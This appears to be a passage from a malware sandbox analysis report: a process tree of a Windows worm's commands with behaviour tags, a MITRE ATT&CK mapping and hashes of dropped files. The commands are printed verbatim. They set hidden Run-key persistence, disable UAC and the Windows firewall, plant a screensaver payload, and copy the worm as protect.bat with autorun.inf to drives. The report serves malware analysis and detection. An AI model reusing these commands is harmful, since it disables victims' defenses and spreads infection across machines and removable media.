        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3024
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
        5⤵
        Adds Run key to start application
        
        PID:2660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2732
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Windows\system32\pcclean.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%windir%\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2296
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Windows\system32\pcclean.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:1572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      System Location Discovery: System Language Discovery
      PID:980
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Views/modifies file attributes
        
        PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS" "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
      4⤵
      PID:1732
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:1392
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
        5⤵
        
        PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:1776
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1948
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
        5⤵
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c NET START seclogon
      4⤵
      PID:112
    - - C:\Windows\SysWOW64\net.exe
        
        NET START seclogon
        5⤵
        
        PID:2492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        6⤵
        
        PID:608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:1844
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1784
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
        5⤵
        
        PID:912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:2832
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        
        PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
      4⤵
      PID:2664
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config upnphost start= auto
        5⤵
        Launches sc.exe
        
        PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
      4⤵
      System Location Discovery: System Language Discovery
      PID:2924
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SSDPSRV start= auto
        5⤵
        Launches sc.exe
        
        PID:1692
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
      4⤵
      System Location Discovery: System Language Discovery
      PID:2232
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config browser start= auto
        5⤵
        Launches sc.exe
        
        PID:860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start upnphost
      4⤵
      PID:2472
    - - C:\Windows\SysWOW64\net.exe
        
        net start upnphost
        5⤵
        
        PID:2212
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        6⤵
        
        PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
      4⤵
      PID:3052
    - - C:\Windows\SysWOW64\net.exe
        
        net start SSDPSRV
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:696
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        6⤵
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start browser
      4⤵
      PID:3012
    - - C:\Windows\SysWOW64\net.exe
        
        net start browser
        5⤵
        
        PID:1588
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        6⤵
        
        PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:1976
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:2400
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1132
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        Modifies firewall policy service
        System Location Discovery: System Language Discovery
        
        PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2436
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:1236
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:1688
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2892
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      PID:468
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2764
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      PID:1804
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2728
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:952
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:780
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      PID:2580
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:1032
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
        5⤵
        
        PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1968
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
        5⤵
        
        PID:2248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      PID:2908
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      PID:2532
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2868
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe"
      4⤵
      PID:1708
  - - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
      4⤵
      Loads dropped DLL
      Adds Run key to start application
      Drops desktop.ini file(s)
      Enumerates connected drives
      Drops autorun.inf file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Modifies registry class
      PID:376
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2740
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3060
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:1040
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
        5⤵
        
        PID:640
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:892
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
        5⤵
        
        PID:3044
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "C:\protect.bat"
        6⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2496
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
        5⤵
        
        PID:2344
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "F:\protect.bat"
        6⤵
        Views/modifies file attributes
        
        PID:2764
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1620
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Views/modifies file attributes
        
        PID:1392
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:2952
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2504
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
        5⤵
        
        PID:1616
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
        5⤵
        
        PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:2940
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2884
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2344
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
        5⤵
        
        PID:2744
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\protect.bat"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2052
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
        5⤵
        
        PID:1512
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\protect.bat"
        6⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:1380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
    3⤵
    PID:2220
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:1592
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2296
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3056
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
    3⤵
    PID:932
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "C:\protect.bat"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
    3⤵
    PID:2612
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "F:\protect.bat"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1992
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1696
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2488
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:2532
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1792
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1336
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:932
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
    3⤵
    PID:2496
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\protect.bat"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
    3⤵
    PID:3044
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
  2⤵
  PID:1696
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:700
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:2280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
  2⤵
  PID:1536
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:2144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "C:\protect.bat"
    3⤵
    - Views/modifies file attributes
    PID:2728
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1236
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "F:\protect.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:1812
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:2140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
  2⤵
  PID:1260
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
  2⤵
  PID:1980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:2296
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3012
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:860
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
  2⤵
  PID:1228
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2492
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2616
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\0.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Roaming\1.dat

Filesize
25KB

MD5
212ddd77efd824768ef4988e5ace6cce

SHA1
a4075151428b170d8413960d948165ef501871dd

SHA256
c301e161d731d051c30e1b66c8cd9dd1fde1f5fac84895aa55c527bbed92dc41

SHA512
